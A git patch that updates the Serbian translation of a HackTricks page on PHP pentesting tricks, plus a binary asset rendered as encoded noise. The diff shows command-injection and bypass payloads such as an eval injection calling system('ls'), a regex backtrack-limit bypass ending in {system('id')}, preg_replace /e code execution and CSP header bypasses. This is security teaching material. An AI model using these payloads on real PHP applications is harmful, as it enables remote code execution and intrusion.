From 848444304f43f61c9463b64fa369fb82c677f7d9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 5 Sep 2024 18:59:43 +0000 Subject: [PATCH] Translated ['network-services-pentesting/pentesting-web/php-tricks-esp/R --- .gitbook/assets/View.nib | Bin 0 -> 25471 bytes .../pentesting-web/php-tricks-esp/README.md | 73 ++++++++++-------- .../url-format-bypass.md | 19 +++-- 3 files changed, 51 insertions(+), 41 deletions(-) create mode 100644 .gitbook/assets/View.nib diff --git a/.gitbook/assets/View.nib b/.gitbook/assets/View.nib new file mode 100644 index 0000000000000000000000000000000000000000..a0048f54079b17df59ccf840098411c29058c77a GIT binary patch literal 25471 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[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -48,10 +48,10 @@ PHP tabele upoređivanja: [https://www.php.net/manual/en/types.comparisons.php]( {% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %} * `"string" == 0 -> True` String koji ne počinje brojem je jednak broju -* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi bili isti (brojevi u stringu se tumače kao brojevi) +* `"0xAAAA" == "43690" -> True` Stringovi sastavljeni od brojeva u dec ili hex formatu mogu se uporediti sa drugim brojevima/stringovima sa True kao rezultatom ako su brojevi isti (brojevi u stringu se tumače kao brojevi) * `"0e3264578" == 0 --> True` String koji počinje sa "0e" i nakon toga sledi bilo šta biće jednak 0 -* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga sledi bilo šta biće jednak 0 -* `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete da obezbedite vrednost koja će kreirati heš koji počinje sa "0e" i bez bilo kog slova, mogli biste da zaobiđete upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +* `"0X3264578" == 0X --> True` String koji počinje sa "0" i nakon toga sledi bilo koje slovo (X može biti bilo koje slovo) i nakon toga bilo šta biće jednak 0 +* `"0e12334" == "0" --> True` Ovo je veoma zanimljivo jer u nekim slučajevima možete kontrolisati string unos "0" i neki sadržaj koji se hešira i upoređuje sa njim. Stoga, ako možete pružiti vrednost koja će stvoriti heš koji počinje sa "0e" i bez ikakvog slova, mogli biste zaobići upoređivanje. Možete pronaći **već heširane stringove** sa ovim formatom ovde: [https://github.com/spaze/hashes](https://github.com/spaze/hashes) * `"X" == 0 --> True` Svako slovo u stringu je jednako int 0 Više informacija na [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -79,7 +79,7 @@ Ista greška se javlja sa `strcasecmp()` ### Strogo prebacivanje tipova -Čak i ako se koristi `===`, mogu se javiti greške koje čine da je upoređivanje **ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**: +Čak i ako se koristi `===`, mogu se javiti greške koje čine da je **upoređivanje ranjivo** na **prebacivanje tipova**. Na primer, ako upoređivanje **pretvara podatke u drugi tip objekta pre nego što ih uporedi**: ```php (int) "1abc" === (int) "1xyz" //This will be true ``` @@ -89,7 +89,7 @@ Ista greška se javlja sa `strcasecmp()` #### Bypass novog reda -Međutim, kada se određuje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, a zatim, ako nekako možete **poslati** unos u **several lines**, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer: +Međutim, kada se određuje početak regexp-a, `preg_match()` **proverava samo prvu liniju korisničkog unosa**, a zatim, ako nekako možete **poslati** unos u **više linija**, mogli biste biti u mogućnosti da zaobiđete ovu proveru. Primer: ```php $myinput="aaaaaaa 11111111"; //Notice the new line @@ -113,7 +113,7 @@ Nađite primer ovde: [https://ramadistra.dev/fbctf-2019-rceservice](https://rama #### **Obilaženje greške u dužini** (Ovo obilaženje je očigledno isprobano na PHP 5.2.5 i nisam mogao da ga nateram da radi na PHP 7.3.15)\ -Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crni spisak odnosi na JSON, mogli biste poslati: +Ako možete da pošaljete `preg_match()` važeći veoma **veliki unos**, **neće moći da ga obradi** i moći ćete da **obidjete** proveru. Na primer, ako se crna lista JSON, mogli biste poslati: ```bash payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}' ``` @@ -128,14 +128,14 @@ Trik iz: [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-wri Ukratko, problem se dešava jer `preg_*` funkcije u PHP-u koriste [PCRE biblioteku](http://www.pcre.org/). U PCRE određene regularne izraze se podudara koristeći mnogo rekurzivnih poziva, što troši mnogo prostora na steku. Moguće je postaviti limit na broj dozvoljenih rekurzija, ali u PHP-u ovaj limit [podrazumevano iznosi 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) što je više nego što stane na stek. [Ova Stackoverflow tema](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) je takođe povezana u postu gde se o ovom problemu govori detaljnije. Naš zadatak je sada bio jasan:\ -**Pošaljite ulaz koji bi naterao regex da izvrši 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš ulaz nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system()}` da bi dobili SSTI --> RCE --> flag :)**. +**Pošaljite unos koji bi naterao regex da izvrši 100\_000+ rekurzija, uzrokujući SIGSEGV, čineći da `preg_match()` funkcija vrati `false`, čime aplikacija misli da naš unos nije zlonameran, izbacujući iznenađenje na kraju payload-a nešto poput `{system()}` da bi dobili SSTI --> RCE --> flag :)**. Pa, u terminima regex-a, zapravo ne radimo 100k "rekurzija", već umesto toga brojimo "korake unazad", što, kao što [PHP dokumentacija](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) navodi, podrazumevano iznosi 1\_000\_000 (1M) u `pcre.backtrack_limit` varijabli.\ Da bismo to postigli, `'X'*500_001` će rezultirati u 1 milion koraka unazad (500k unapred i 500k unazad): ```python payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}" ``` -### Tip prebacivanja za PHP obfuscation +### Tip prebacivanja tipova za PHP obfuscation ```php $obfs = "1"; //string "1" $obfs++; //int 2 @@ -158,9 +158,9 @@ header('Location: /index.php?page=default.html'); readfile($page); ?> ``` -## Put Traversal i Eksploatacija Uključivanja Fajlova +## Put Traversal i Eksploatacija Uključivanja Datoteka -Proveri: +Proverite: {% content-ref url="../../../pentesting-web/file-inclusion/" %} [file-inclusion](../../../pentesting-web/file-inclusion/) @@ -168,7 +168,7 @@ Proveri: ## Više trikova -* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što je $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda. +* **register\_globals**: U **PHP < 4.1.1.1** ili ako je pogrešno konfigurisano, **register\_globals** može biti aktivan (ili se njihovo ponašanje imitira). To implicira da u globalnim promenljivim kao što su $\_GET, ako imaju vrednost npr. $\_GET\["param"]="1234", možete mu pristupiti preko **$param. Stoga, slanjem HTTP parametara možete prepisati promenljive** koje se koriste unutar koda. * **PHPSESSION kolačići iste domene se čuvaju na istom mestu**, stoga ako unutar domene **različiti kolačići se koriste na različitim putanjama** možete učiniti da putanja **pristupi kolačiću druge putanje** postavljanjem vrednosti kolačića druge putanje.\ Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** možete učiniti da **vrednost te promenljive u putanji1 važi za putanju2**. I tada će putanja2 smatrati validnim promenljive putanje1 (dajući kolačiću ime koje odgovara njemu u putanji2). * Kada imate **korisnička imena** korisnika mašine. Proverite adresu: **/\~\** da vidite da li su php direktorijumi aktivirani. @@ -176,8 +176,8 @@ Na ovaj način, ako **obe putanje pristupaju promenljivoj sa istim imenom** mož ### password\_hash/password\_verify -Ove funkcije se obično koriste u PHP-u da **generišu hešove iz lozinki** i da **provere** da li je lozinka ispravna u poređenju sa hešom.\ -Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da hešujete nešto veće od 72bajta sa ovim algoritmom, biće korišćeno samo prvih 72B: +Ove funkcije se obično koriste u PHP-u da **generišu hešove iz lozinki** i da **provere** da li je lozinka tačna u poređenju sa hešom.\ +Podržani algoritmi su: `PASSWORD_DEFAULT` i `PASSWORD_BCRYPT` (počinje sa `$2y$`). Imajte na umu da je **PASSWORD\_DEFAULT često isto što i PASSWORD\_BCRYPT.** A trenutno, **PASSWORD\_BCRYPT** ima **ograničenje veličine ulaza od 72bajta**. Stoga, kada pokušate da heširate nešto veće od 72bajta sa ovim algoritmom, koristiće se samo prvih 72B: ```php $cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW False @@ -187,9 +187,9 @@ True ``` ### HTTP headers bypass abusing PHP errors -#### Causing error after setting headers +#### Uzrokovanje greške nakon postavljanja zaglavlja -Iz [**ove Twitter niti**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru. +Iz [**ove twitter niti**](https://twitter.com/pilvar222/status/1784618120902005070?t=xYn7KdyIvnNOlkVaGbgL6A\&s=19) možete videti da slanje više od 1000 GET parametara ili 1000 POST parametara ili 20 fajlova, PHP neće postaviti zaglavlja u odgovoru. Omogućava zaobilaženje, na primer, CSP zaglavlja koja se postavljaju u kodovima kao: ```php @@ -199,7 +199,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"]; ``` #### Popunjavanje tela pre postavljanja zaglavlja -Ako **PHP stranica ispisuje greške i vraća neki unos koji je obezbedio korisnik**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\ +Ako **PHP stranica ispisuje greške i vraća neki unos koji je korisnik pružio**, korisnik može naterati PHP server da vrati neki **sadržaj dovoljno dug** tako da kada pokuša da **doda zaglavlja** u odgovor, server će baciti grešku.\ U sledećem scenariju **napadač je naterao server da baci neke velike greške**, i kao što možete videti na ekranu kada je PHP pokušao da **izmeni informacije o zaglavlju, nije mogao** (tako da, na primer, CSP zaglavlje nije poslato korisniku): ![](<../../../.gitbook/assets/image (1085).png>) @@ -225,7 +225,7 @@ Proverite stranicu: preg_replace(pattern,replace,base) preg_replace("/a/e","phpinfo()","whatever") ``` -Da bi se izvršio kod u "replace" argumentu, potrebna je barem jedna podudarnost.\ +Da bi se izvršio kod u "replace" argumentu, potrebna je najmanje jedna podudarnost.\ Ova opcija preg\_replace je **ukinuta od PHP 5.5.0.** ### **RCE putem Eval()** @@ -243,7 +243,7 @@ Ova funkcija unutar php omogućava vam da **izvršite kod koji je napisan u stri ``` ?page=a','NeVeR') === false and system('ls') and strpos('a ``` -Morate **razbiti** **sintaksu** koda, **dodati** svoj **payload**, a zatim **ponovo ga popraviti**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload neće biti izvršen. Na isti način ";" ne funkcioniše jer naš payload neće biti izvršen. +Biće potrebno da **razbijete** **sintaksu** koda, **dodate** svoj **payload**, a zatim **ponovo to ispravite**. Možete koristiti **logičke operacije** kao što su "**and" ili "%26%26" ili "|"**. Imajte na umu da "or", "||" ne funkcioniše jer ako je prvi uslov tačan, naš payload se neće izvršiti. Na isti način ";" ne funkcioniše jer se naš payload neće izvršiti. **Druga opcija** je da dodate izvršenje komande u string: `'.highlight_file('.passwd').'` @@ -282,24 +282,24 @@ Da biste otkrili broj zagrada koje treba da zatvorite: ### **RCE putem .httaccess** -Ako možete da **otpremite** **.htaccess**, onda možete da **konfigurišete** nekoliko stvari i čak izvršite kod 